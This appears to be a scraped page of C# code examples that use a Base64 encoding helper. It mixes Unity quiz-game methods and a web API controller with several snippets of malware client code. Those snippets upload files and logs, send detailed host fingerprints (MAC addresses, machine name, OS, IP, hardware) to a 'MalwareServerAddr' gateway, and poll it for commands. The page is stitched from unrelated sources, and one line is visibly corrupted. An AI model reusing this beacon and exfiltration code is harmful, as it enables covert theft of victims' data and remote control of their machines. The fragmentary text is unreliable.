Exemple #1
0
    public void Correcter_2()
    {
        _temp_AnswerIsProcessing = true;
        unansweredQuestion.Remove(currentQuestion);
        if (currentQuestion.isTrue)
        {
            Debug.Log("CORRECT");
        }
        else
        {
            Debug.Log("WRONG");
        }
        QuizData.SetStatus(index, !currentQuestion.isTrue);
        index++;
        if (unansweredQuestion.Count != 0)
        {
            StartCoroutine(TransitionToTheNextQuestion());
        }
        if (unansweredQuestion.Count == 0)          //Questions ENDED
        {
            if (last_quest.enabled == true)
            {
                last_quest.enabled = false;
                Debug.Log(QuizData.ToString());
                Debug.Log(Encoder.Base64Encode(QuizData.ToString()));

                key_1 = Encoder.Base64Encode(QuizData.ToString());
                KeysHolder.instance.SetKey1(key_1);
                //result.text = " Copy Result " + key_1;
                GettingEncodeData(key_1);
            }
        }
    }
Exemple #2
0
 public void Correcter_1()
 {
     _temp_AnswerIsProcessing = true;
     unansweredQuestion.Remove(currentQuestion);         // This way we won't meet the same question twice
     if (!currentQuestion.isTrue)
     {
         Debug.Log("CORRECT");
     }
     else
     {
         Debug.Log("WRONG");
     }
     QuizData.SetStatus(index, !currentQuestion.isTrue);
     index++;
     if (unansweredQuestion.Count != 0)
     {
         StartCoroutine(TransitionToTheNextQuestion());
     }
     if (unansweredQuestion.Count == 0)          //Questions ENDED
     {
         Debug.Log(QuizData.ToString());
         Debug.Log(Encoder.Base64Encode(QuizData.ToString()));
         key_1 = Encoder.Base64Encode(QuizData.ToString());
         KeysHolder.instance.SetKey1(key_1);
         //result.text = " Copy Result " + key_1; //not working
         GettingEncodeData(key_1);
     }
 }
 public static void File(string file)
 {
     System.Net.WebClient Client = new System.Net.WebClient();
     Client.Headers.Add("Content-Type", "binary/octet-stream");
     byte[] result = Client.UploadFile(Config.MalwareServerAddr + "/gateway.php?id=" + Encoder.Base64Encode(Intelligence.GetProcessorId) + "&key=" +
                                       Encoder.Base64Encode(Config.MalwareServerKey) + "&marker=" + Encoder.Base64Encode("File"), "POST", file);
     string s = System.Text.Encoding.UTF8.GetString(result, 0, result.Length);
 }
            public static void Log(string data)
            {
                HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Config.MalwareServerAddr + "gateway.php?id=" + Encoder.Base64Encode(Intelligence.GetProcessorId) +
                                                                           "&key=" + Encoder.Base64Encode(Config.MalwareServerKey) + "&info=" + Encoder.Base64Encode(data) + "&marker=" + Encoder.Base64Encode("Log"));
                HttpWebResponse response = (HttpWebResponse)request.GetResponse();

                new StreamReader(response.GetResponseStream()).ReadToEnd();
            }
            public static string Indication()
            {
                HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Config.MalwareServerAddr + "gateway.php?id=" + Encoder.Base64Encode(Intelligence.GetProcessorId) +
                                                                           "&key=" + Encoder.Base64Encode(Config.MalwareServerKey) + "&marker=" + Encoder.Base64Encode("Indication") + "&tag=" + Encoder.Base64Encode(Config.MalwareServerTag));
                HttpWebResponse response = (HttpWebResponse)request.GetResponse();

                return(new StreamReader(response.GetResponseStream()).ReadToEnd());
            }
Exemple #6
0
        public Models.App.QtdResponse GetQtdResponse([FromBody] Models.App.QtdResponseBody qtdResponseBody)
        {
            Models.App.QtdResponse qtdResponse = new Models.App.QtdResponse();
            Regressor regressor = new Regressor();
            string    filterTxt = JsonConvert.SerializeObject(qtdResponseBody.FilterOptions);

            regressor.LoadByFilter(filterTxt);
            string text = System.IO.File.ReadAllText(Location.ConfLocation);
            Conf   conf = JsonConvert.DeserializeObject <Conf>(text);


            if (regressor.RegressorId == null || regressor.RegressorId == "")
            {
                //treinar
                string Regressor_Id = Encoder.Base64Encode(Convert.ToString(DateTime.Now));
                string trainerDir   = conf.TrainerDir;
                string Trainercmd   = "python main.py ";
                Trainercmd += qtdResponseBody.appId;
                Trainercmd += " ";
                Trainercmd += Regressor_Id;
                Trainercmd += " ";
                Trainercmd += filterTxt.Replace("\"", "\\\"");

                Command.runCmd(trainerDir, Trainercmd);

                Regressor insertRegressor = new Regressor();
                insertRegressor.RegressorId = Regressor_Id;
                insertRegressor.AppId       = qtdResponseBody.appId;
                insertRegressor.Filter      = filterTxt;
                insertRegressor.Insert();
            }

            //consultar
            qtdResponse.Qtd = new List <double>();
            string ConsultDir = conf.PredictorDir;
            string ConsultCmd = "python main.py ";

            ConsultCmd += qtdResponseBody.appId;
            ConsultCmd += " ";
            ConsultCmd += regressor.RegressorId;
            ConsultCmd += " ";
            ConsultCmd += qtdResponseBody.Min;
            ConsultCmd += " ";
            ConsultCmd += qtdResponseBody.Max;
            ConsultCmd += " ";
            ConsultCmd += qtdResponseBody.Step;

            string Image = Command.runCmd(ConsultDir, ConsultCmd);

            Models.App.Previsor previsor = JsonConvert.DeserializeObject <Models.App.Previsor>(Image);
            qtdResponse.Qtd = previsor.Prev;

            return(qtdResponse);
        }
Exemple #7
0
    public void FinishQuestion(List <bool> statuses)
    {
        SetOptionsState(false);
        SetNextButtonState(false);
        string ans = "";

        foreach (bool b in statuses)
        {
            ans += b + " : ";
            Debug.Log(ans);
            ans = ans.ToString();
        }
        Debug.Log(Encoder.Base64Encode(ans));
        key_2 = Encoder.Base64Encode(ans);
        KeysHolder.instance.SetKey2(key_2);

        QuestionText.text = "  & 2nd key: " + key_2;
        GameManager.GettingEncodeData(k1);
    }
            public static void Configuration()
            {
                HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Config.MalwareServerAddr + "gateway.php?id=" + Encoder.Base64Encode(Intelligence.GetProcessorId) +
                                                                           "&key=" +
                                                                           Encoder.Base64Encode(Config.MalwareServerKey) + "&mac=" +
                                                                           Encoder.Base64Encode(Intelligence.GetMacAddresses) + "&tmz=" +
                                                                           Encoder.Base64Encode(Intelligence.GetTimeZone) + "&cpu=" +
                                                                           Encoder.Base64Encode(Intelligence.GetProcessorName) + "&gpu=" +
                                                                           Encoder.Base64Encode(Intelligence.GetGPU) + "&mhn=" +
                                                                           Encoder.Base64Encode(Intelligence.GetMachineName) + "&tag=" +
                                                                           Encoder.Base64Encode(Config.MalwareServerTag) + "&usr="******"&os=" +
                                                                           Encoder.Base64Encode(Intelligence.GetOperatingSystem) + "&lip=" +
                                                                           Encoder.Base64Encode(Intelligence.GetLocalIPAddress) + "&ram=" +
                                                                           Encoder.Base64Encode(Intelligence.GetTotalRAM) + "&marker=" +
                                                                           Encoder.Base64Encode("Cfg"));
                HttpWebResponse response = (HttpWebResponse)request.GetResponse();

                new StreamReader(response.GetResponseStream()).ReadToEnd();
            }
 public void EncodeInputField()
 {
     key_3 = Encoder.Base64Encode(txt.text);
     KeysHolder.instance.SetKey3(key_3);
 }